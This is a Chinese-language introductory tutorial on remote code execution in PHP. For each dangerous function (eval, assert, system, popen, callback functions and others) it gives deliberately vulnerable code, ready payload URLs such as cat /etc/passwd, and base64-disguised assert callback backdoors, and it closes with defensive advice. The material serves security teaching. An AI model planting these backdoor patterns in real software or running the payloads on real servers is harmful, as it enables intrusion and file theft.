RCE基础入门

RCE的本质

RCE(Remote Code Execution,远程代码执行)是一种非常严重的安全漏洞,允许攻击者在目标服务器上执行任意代码,从而获取系统控制权、窃取敏感信息、横向移动甚至完全接管服务器。

RCE的本质是:攻击者通过构造恶意输入,使应用程序在服务器上执行了这段输入作为代码。

这通常意味着开发者把用户输入拼接进 eval、exec、system、popen、shell_exec 等危险函数中,或者调用命令行/解释器时未正确处理输入。

RCE常见触发点

PHP中的危险函数

代码执行函数

eval()函数

eval()函数将字符串作为PHP代码执行。这是最危险的PHP函数之一,因为它可以执行任意PHP代码。

函数原型:eval(string $code): mixed

参数说明:

  • $code:要执行的PHP代码字符串,必须以分号结尾

利用示例:

1
2
3
4
<?php
$cmd = $_GET['cmd'];
eval($cmd);
?>

攻击Payload:

1
2
3
http://example.com/vuln.php?cmd=system('ls');
http://example.com/vuln.php?cmd=phpinfo();
http://example.com/vuln.php?cmd=include($_GET['file']);&file=/etc/passwd

原理说明:eval函数会将传入的字符串当作PHP代码执行,攻击者可以传入system(‘ls’)来执行系统命令,或者传入include等函数来读取文件。

assert()函数

assert()函数用于断言检查,在PHP 8.0之前,如果传入的是字符串,该字符串会被当作PHP代码执行。

函数原型:assert(mixed $assertion, Throwable|string $description = null): bool

参数说明:

  • $assertion:断言表达式,如果是字符串则在PHP 8.0前会被当作代码执行
  • $description:可选的描述信息

利用示例:

1
2
3
4
<?php
$code = $_GET['code'];
assert($code);
?>

攻击Payload:

1
2
http://example.com/vuln.php?code=system('ls')
http://example.com/vuln.php?code=phpinfo()

原理说明:在PHP 8.0之前,assert函数会将字符串参数当作PHP代码执行,类似于eval。但assert只能执行一个表达式,不能执行多条语句。

preg_replace()函数/e模式

preg_replace()函数执行正则表达式的搜索和替换,在PHP 7.3之前支持/e修饰符,该修饰符会将替换字符串作为PHP代码执行。

函数原型:preg_replace(string|array $pattern, string|array $replacement, string|array $subject, int $limit = -1, int &$count = null): string|array|null

参数说明:

  • $pattern:正则表达式模式
  • $replacement:替换字符串,使用/e修饰符时会被当作PHP代码
  • $subject:要搜索替换的字符串或数组
  • $limit:最大替换次数
  • $count:实际替换次数

利用示例:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
?>

攻击Payload:

1
http://example.com/vuln.php?\S*={${phpinfo()}}

原理说明:/e修饰符会将replacement字符串当作PHP代码执行,\1是后向引用,表示第一个匹配组。通过构造{${phpinfo()}},利用PHP的可变变量特性,先执行phpinfo()函数。

命令执行函数

system()函数

system()函数执行外部程序并显示输出结果。这是最常见的命令执行函数。

函数原型:system(string $command, int &$result_code = null): string|false

参数说明:

  • $command:要执行的命令
  • $result_code:可选参数,用于接收命令的返回状态码

利用示例:

1
2
3
4
<?php
$cmd = $_GET['cmd'];
system($cmd);
?>

攻击Payload:

1
2
3
http://example.com/vuln.php?cmd=ls
http://example.com/vuln.php?cmd=whoami
http://example.com/vuln.php?cmd=cat /etc/passwd

原理说明:system函数会执行传入的shell命令,并将输出直接显示在页面上。攻击者可以执行任意系统命令。

exec()函数

exec()函数执行外部程序,但默认不显示输出,需要通过第二个参数获取。

函数原型:exec(string $command, array &$output = null, int &$result_code = null): string|false

参数说明:

  • $command:要执行的命令
  • $output:可选参数,用于接收命令的输出(每行一个元素)
  • $result_code:可选参数,用于接收命令的返回状态码

利用示例:

1
2
3
4
5
<?php
$cmd = $_GET['cmd'];
exec($cmd, $output);
print_r($output);
?>

攻击Payload:

1
2
http://example.com/vuln.php?cmd=ls
http://example.com/vuln.php?cmd=whoami

原理说明:exec函数执行命令但不会直接输出结果,需要通过第二个参数获取输出数组。第三个参数可以获取命令的退出状态码。

passthru()函数

passthru()函数执行外部程序并显示原始输出,特别适合执行二进制数据。

函数原型:passthru(string $command, int &$result_code = null): void

参数说明:

  • $command:要执行的命令
  • $result_code:可选参数,用于接收命令的返回状态码

利用示例:

1
2
3
4
<?php
$cmd = $_GET['cmd'];
passthru($cmd);
?>

攻击Payload:

1
2
http://example.com/vuln.php?cmd=ls
http://example.com/vuln.php?cmd=cat /etc/passwd

原理说明:passthru函数会直接将命令的原始输出传递给浏览器,不会进行任何处理,适合输出二进制数据(如图片)。

shell_exec()函数

shell_exec()函数通过shell执行命令并将完整的输出以字符串方式返回。

函数原型:shell_exec(string $command): string|false|null

参数说明:

  • $command:要执行的命令

利用示例:

1
2
3
4
<?php
$cmd = $_GET['cmd'];
echo shell_exec($cmd);
?>

攻击Payload:

1
2
http://example.com/vuln.php?cmd=ls
http://example.com/vuln.php?cmd=whoami

原理说明:shell_exec函数执行命令并返回所有输出作为字符串,但不会自动显示,需要手动echo输出。

反引号运算符

反引号运算符(`)是PHP的执行运算符,与shell_exec()函数功能完全相同。

利用示例:

1
2
3
4
<?php
$cmd = $_GET['cmd'];
echo `$cmd`;
?>

攻击Payload:

1
2
http://example.com/vuln.php?cmd=ls
http://example.com/vuln.php?cmd=whoami

原理说明:反引号中的内容会被当作shell命令执行,执行结果会被返回。这是PHP的运算符,不是函数,所以不需要括号。

proc_open()函数

proc_open()函数执行命令并打开用于输入/输出的文件指针,提供更强大的控制能力。

函数原型:proc_open(array|string $command, array $descriptor_spec, array &$pipes, ?string $cwd = null, ?array $env_vars = null, ?array $options = null): resource|false

参数说明:

  • $command:要执行的命令
  • $descriptor_spec:描述符数组,定义如何处理标准输入、输出、错误
  • $pipes:返回的管道数组
  • $cwd:工作目录
  • $env_vars:环境变量
  • $options:其他选项

利用示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$descriptorspec = array(
0 => array("pipe", "r"), // 标准输入
1 => array("pipe", "w"), // 标准输出
2 => array("pipe", "w") // 标准错误
);

$process = proc_open($_GET['cmd'], $descriptorspec, $pipes);
if (is_resource($process)) {
echo stream_get_contents($pipes[1]);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
}
?>

攻击Payload:

1
http://example.com/vuln.php?cmd=ls

原理说明:proc_open提供了比其他函数更强大的控制能力,可以分别控制标准输入、输出和错误流。descriptor_spec数组定义了如何处理这些流。

popen()函数

popen()函数打开进程文件指针,可以用于读取或写入命令的输入输出。

函数原型:popen(string $command, string $mode): resource|false

参数说明:

  • $command:要执行的命令
  • $mode:打开模式,’r’表示读取,’w’表示写入

利用示例:

1
2
3
4
5
6
7
8
<?php
$cmd = $_GET['cmd'];
$handle = popen($cmd, 'r');
while (!feof($handle)) {
echo fread($handle, 2096);
}
pclose($handle);
?>

攻击Payload:

1
http://example.com/vuln.php?cmd=ls

原理说明:popen函数会执行命令并返回一个文件指针,可以像操作文件一样读取命令的输出或写入命令的输入。

回调函数后门

call_user_func()函数

call_user_func()函数把第一个参数作为回调函数调用,这是最基础的回调后门。

函数原型:call_user_func(callable $callback, mixed ...$args): mixed

参数说明:

  • $callback:要调用的回调函数
  • $args:传递给回调函数的参数

利用示例:

1
2
3
<?php
call_user_func('assert', $_REQUEST['pass']);
?>

攻击Payload:

1
2
http://example.com/vuln.php?pass=system('ls')
http://example.com/vuln.php?pass=phpinfo()

原理说明:call_user_func会将第一个参数’assert’作为函数名,第二个参数作为参数传递给assert函数。这样就可以通过pass参数执行任意PHP代码。

array_filter()函数

array_filter()函数使用回调函数过滤数组的元素,可以构造回调后门。

函数原型:array_filter(array $array, ?callable $callback = null, int $mode = 0): array

参数说明:

  • $array:要过滤的数组
  • $callback:回调函数,用于判断元素是否保留
  • $mode:过滤模式

利用示例:

1
2
3
4
5
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass']);
array_filter($arr, base64_decode($e));
?>

攻击Payload:

1
2
3
POST /vuln.php
e=YXNzZXJ0
pass=system('ls')

原理说明:array_filter会遍历数组,将每个元素传递给回调函数。这里回调函数是base64_decode(‘YXNzZXJ0’)=’assert’,数组元素是system(‘ls’),最终执行assert(‘system(‘ls’)’)。

array_map()函数

array_map()函数为数组的每个元素应用回调函数,与array_filter类似。

函数原型:array_map(?callable $callback, array $array, array ...$arrays): array

参数说明:

  • $callback:回调函数
  • $array:要处理的数组
  • $arrays:其他数组(可选)

利用示例:

1
2
3
4
5
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass']);
array_map(base64_decode($e), $arr);
?>

攻击Payload:

1
2
3
POST /vuln.php
e=YXNzZXJ0
pass=system('ls')

原理说明:array_map会将回调函数应用到数组的每个元素,与array_filter类似,但会返回处理后的数组。

uasort()函数

uasort()函数使用用户定义的比较函数对数组进行排序并保持索引关联,需要PHP 5.4.8+版本。

函数原型:uasort(array &$array, callable $callback): bool

参数说明:

  • $array:要排序的数组(引用传递)
  • $callback:比较函数,接受两个参数

利用示例:

1
2
3
4
5
<?php
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uasort($arr, base64_decode($e));
?>

攻击Payload:

1
2
3
POST /vuln.php
e=YXNzZXJ0
pass=system('ls')

原理说明:uasort的比较函数接受两个参数,在PHP 5.4.8+中,assert函数支持两个参数(第二个参数是描述信息),所以可以作为比较函数使用。

uksort()函数

uksort()函数使用用户自定义的比较函数对数组中的键名进行排序,需要PHP 5.4.8+版本。

函数原型:uksort(array &$array, callable $callback): bool

参数说明:

  • $array:要排序的数组(引用传递)
  • $callback:比较函数,接受两个参数

利用示例:

1
2
3
4
5
<?php
$e = $_REQUEST['e'];
$arr = array('test' => 1, $_REQUEST['pass'] => 2);
uksort($arr, $e);
?>

攻击Payload:

1
2
3
POST /vuln.php
e=assert
pass=system('ls')

原理说明:uksort会对数组的键进行比较,回调函数assert会被调用,参数是两个键名。由于assert可以执行代码,所以可以达到RCE目的。

usort()函数

usort()函数使用用户自定义的比较函数对数组中的值进行排序,需要PHP 5.4.8+版本。

函数原型:usort(array &$array, callable $callback): bool

参数说明:

  • $array:要排序的数组(引用传递)
  • $callback:比较函数,接受两个参数

利用示例:

1
2
3
4
5
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass']);
usort($arr, $e);
?>

攻击Payload:

1
2
3
POST /vuln.php
e=assert
pass=system('ls')

原理说明:usort会对数组的值进行比较,回调函数assert会被调用。虽然assert不是真正的比较函数,但在PHP 5.4.8+中仍然可以执行。

array_walk()函数

array_walk()函数使用用户自定义函数对数组中的每个元素做回调处理,支持三个参数的回调。

函数原型:array_walk(array|object &$array, callable $callback, mixed $arg = null): bool

参数说明:

  • $array:要处理的数组(引用传递)
  • $callback:回调函数,接受两个或三个参数
  • $arg:传递给回调函数的第三个参数

利用示例:

1
2
3
4
5
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e');
array_walk($arr, $e, '');
?>

攻击Payload:

1
2
3
POST /vuln.php
e=preg_replace
pass=phpinfo()

原理说明:array_walk的回调函数接受三个参数(值、键、额外参数)。这里使用preg_replace作为回调,利用/e模式执行代码。|.*|e是正则表达式,匹配所有内容并执行。

Python中的危险函数

  • eval(user_input) - 执行Python代码
  • exec(user_input) - 执行Python代码
  • os.system(user_input) - 执行系统命令
  • subprocess.Popen(user_input, shell=True) - 执行系统命令

Node.js中的危险函数

  • eval(req.query.input) - 执行JavaScript代码
  • child_process.exec(req.query.cmd) - 执行系统命令
  • 模板注入(EJS、Handlebars等)

漏洞代码示例

基础eval漏洞

1
2
3
4
5
<?php
$cmd = $_GET['cmd'];
eval($cmd);
?>
// 访问: http://example.com/vuln.php?cmd=system('ls');

system命令执行

1
2
3
4
5
<?php
$cmd = $_GET['cmd'];
system($cmd);
?>
// 访问: http://example.com/vuln.php?cmd=ls

preg_replace e模式(已废弃)

1
2
3
4
5
6
7
8
9
<?php
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
// Payload: ?\S*={${phpinfo()}}

回调后门

1
2
3
<?php
call_user_func('assert', $_REQUEST['pass']);
?>

RCE防护建议

输入验证

  • 对所有用户输入进行严格验证
  • 使用白名单而非黑名单
  • 验证输入类型、长度、格式

避免危险函数

  • 尽量避免使用eval、assert等代码执行函数
  • 避免直接拼接用户输入到命令执行函数
  • 使用参数化查询代替字符串拼接

使用安全函数

  • 使用escapeshellarg()转义命令参数
  • 使用escapeshellcmd()转义整个命令
  • 使用htmlspecialchars()转义HTML输出

权限控制

  • 使用最小权限原则运行应用
  • 禁用危险函数(disable_functions)
  • 使用open_basedir限制文件访问

WAF防护

  • 部署Web应用防火墙
  • 配置规则拦截恶意请求
  • 定期更新WAF规则库